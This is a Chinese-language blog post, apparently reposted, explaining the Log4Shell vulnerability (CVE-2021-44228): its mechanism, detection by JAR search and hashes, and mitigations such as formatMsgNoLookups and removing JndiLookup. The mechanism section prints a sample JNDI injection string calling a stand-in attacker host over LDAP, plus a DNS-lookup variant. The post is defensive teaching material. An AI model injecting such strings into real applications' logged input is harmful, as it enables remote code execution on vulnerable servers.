Log4j 2漏洞(CVE-2021-44228)的快速响应
簡介
2021 年 12 月 9 日,在Log4j的 GitHub 上公開披露了一個影響多個版本的 Apache Log4j 2 實用程序的高嚴重性漏洞 CVE-2021-44228、CVSSv3 10.0 (https://logging.apache.org/log4j/2.x) 。該漏洞由阿里云安全團隊的陳兆軍(可能為音譯)發現,影響Apache Log4j 2版本2.0至2.14.1。根據開發人員的說法,Log4j的1.x版本不容易受到此漏洞的影響。
該漏洞允許未經身份驗證的遠程執行代碼。
目前已經能夠看到較多利用此漏洞的PoC驗證攻擊代碼,該漏洞可通過多種特定于應用程序的方法訪問。實際上,任何允許遠程連接提供由使用 Log4j 庫的應用程序寫入日志文件的任意數據的場景都容易受到利用。由于影響面實在太過巨大,威脅等級及實現方式非常危險,Apache基金會將此漏洞標記為最高級別的10級。目前大致能確定以下內容:
廣泛使用的企業軟件的默認安裝容易受到攻擊。
無需身份驗證即可可靠地利用此漏洞。
該漏洞會影響 Log4j 2 的多個版本。
該漏洞允許以運行利用庫的應用程序的用戶身份遠程執行代碼。
Log4j 2是一個基于Java的日志庫,廣泛用于業務系統開發,包含在各種開源庫中,并直接嵌入到主要軟件應用程序中。影響范圍已擴展到數千種產品和設備,包括Struts 2,Solr,Druid,Flink和Swift等Apache產品。由于此漏洞位于 Java 庫中,因此 Java 的跨平臺性質意味著該漏洞可在許多平臺(包括 Windows 和 Linux)上被利用。由于許多基于 Java 的應用程序可以利用 Log4j 2,因此組織應與應用程序供應商聯系,或確保其 Java 應用程序運行最新的最新版本。使用Log4j 2的開發人員應確保盡快將最新版本的Log4j合并到他們的應用程序中,以保護用戶和組織。
為了便于理解Log4j 2漏洞的影響面和危害性原因,網上出現了漫畫圖,在這里貼出來供大家一覽。
??這張圖說明了最簡單的原理
這張圖說明了為什么會影響這么多系統
再來個中文版的
攻擊者使用該漏洞的可能方式可參考Fastly (https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j)?的圖片:
在使用Log4j 2的大量的日志記錄框架中,開發人員通常認為消息作為基本格式數據進行處理。但通過Log4j 2實際提供了JNDI查找的能力,又沒有對這些查找進行限制,由此產生了這個漏洞。
JNDI,Java命名和目錄接口,是目錄服務的Java API,提供LDAP或DNS接口查找數據和資源,當可以返回的數據類型之一是指向Java類的URI的時候,如果加載了不受信任的Java類,就將不知不覺地遠程執行任意代碼。
例如記錄這樣的信息:
log.info("cve-2021-44228 is security nightmare! {}", userInput)在生產環境中記錄HTTP信息作為日志非常常見,這一問題可能如下:
log.inf("Request User-Agent: {}", userAgent)在初始步驟插入JNDI字串,例如 $(jndi:ldap://attacker.com/a) 后,存在漏洞的Log4j服務器就能夠通過URI訪問可以執行命令的有效負載。Log4j服務器將執行LDAP查詢,然后LDAP服務器將響應有效負載鏈接的目錄信息。
接下來這些鏈接指向的Java類的有效負載將被加載到內存,由受攻擊的Log4j服務器執行。除了LDAP,也可以通過該漏洞強制被攻擊的Log4j服務器進行DNS查詢,例如 ${jndi:dns://<dns server>/<TXT record query string>} 。我猜理論上可以刷新DNS緩存做DNS劫持。
同時可參考微軟提供的供給鏈參考圖片:
檢測
如何判斷是否在使用的系統受到Log4j組件漏洞影響呢?
如果您在軟件清單中找到這些哈希值,那么您的系統中就有易受攻擊的log4j:https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes
屬于 log4j 庫的 JAR 文件的存在可能表明應用程序可能容易受到 CVE-2021-44228 的影響。要搜索的特定文件應符合以下模式:"log4j-core-*.jar"
根據安裝方法的不同,匹配的 JAR 文件的位置也可能指示哪個應用程序可能容易受到攻擊。例如,在 Windows 上,如果文件位于 C:\Program Files\ApplicationName\log4j-core-version.jar 中則表示應調查應用程序名稱。在 Linux 上,lsof 實用程序可以顯示當前正在使用 JAR 文件的進程,并且可以通過以下語法運行:"lsof /path/to/log4j-core-version.jar;"
查看并隨時關注有關更新:
查看Apache基金會關于Log4j漏洞信息的更新:https://logging.apache.org/log4j/2.x/security.html
查看NIST的NVD中該漏洞信息的更新:https://nvd.nist.gov/vuln/detail/CVE-2021-44228
如果使用Microsoft產品,查看該漏洞信息的更新:https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/
如果使用VMware產品,查看該漏洞信息的更新:https://www.vmware.com/security/advisories/VMSA-2021-0028.html
以CVE-2021-44228為關鍵字搜索更多信息
緩解
如同前面漫畫圖中顯示的,如果您在某個產品或者服務中發現了該漏洞的聲明,并不意味著產品或者服務本身存在缺陷,而是我們需要聚焦在這個漏洞本身,進行盡快的修復或緩解。
所有人都希望能充分了解這個漏洞,并在第一時間使用對應的補丁解決問題。不幸的是,軟件開發和測試需要周期時間,所以補丁基本上不會比攻擊代碼出現的更早。但至少我們可以通過建議的緩解措施進行緩解。
通過產品和服務等官方補丁,替換受影響的Log4j 2組件。如上所述,出于兼容性穩定性考慮,不建議自行替換。可隨時查看前面提供的產品漏洞說明頁面信息更新,以盡早獲得補丁。測試后進行生產更新。
問題的根源在于沒有限制JNDI的查詢限制,因此在Log4j 2組件存在的地方,需要對查詢做手動限制。
Log4J 2 版本 2.10 到 2.14.1 支持將參數 log4j2.formatMsgNoLookups 設置為"true",以禁用易受攻擊的功能。確保在 Java 虛擬機的啟動腳本中配置了此參數:-Dlog4j2.formatMsgNoLookups=true。
或者,使用 Log4j 2.10 到 2.14.1 的客戶可以設置 LOG4J_FORMAT_MSG_NO_LOOKUPS="true" 環境變量來強制進行此更改。
Kubernetes 管理員可以使用 "kubectl set env" 來設置 LOG4J_FORMAT_MSG_NO_LOOKUPS="true" 環境變量,以便在 Java 應用程序運行 Log4j 2.10 到 2.14.1 的 Kubernetes 集群中應用緩解措施,從而自動有效地反映在所有 pod 和容器上。
對于從 2.0-beta9 到 2.10.0 的版本,緩解措施是從類路徑中刪除 JndiLookup 類:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
如果系統位于受到防護的網絡內部,可以考慮在邊緣訪問網關,例如WAF上進行訪問過濾。目前主流WAF廠商大多已經更新了安全規則,能夠識別該漏洞相關的指紋信息。
可以在系統中啟用并更新安全軟件,例如Defender。如果使用云服務,也可以對訪問日志進行監控。可參考:有關預防、檢測和搜尋 CVE-2021-44228 Log4j 2 漏洞利用的指南 - Microsoft 安全博客 (https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation)
建議
無需談虎色變,盡快的厘清架構并評估影響面是第一要務
召集所有相關人員,例如安全、架構和業務團隊,評估修復/緩解計劃并制定時間表
檢查現有架構時,不要僅關注后端(服務器)架構,也應該充分評估使用了Log4j組件的前端(客戶端)。客戶端的設備是移動的,存在漏洞的設備是可以繞過防火墻的
作為VDI/UEM從業人員,強烈建議在VDI架構中考慮標準化和使用快速的制備方式,在出現風險時能夠及時更新到安全和配置基線
充分考慮零信任架構,即使是內網或相同網絡,也需要考慮網絡微隔離
因趕時間,錯漏難免,還請不吝賜教。
總結
以上是生活随笔為你收集整理的Log4j 2漏洞(CVE-2021-44228)的快速响应的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 2021.NET大会日程首发!行程亮点全
- 下一篇: 如何让 Timer 在特定时间点触发?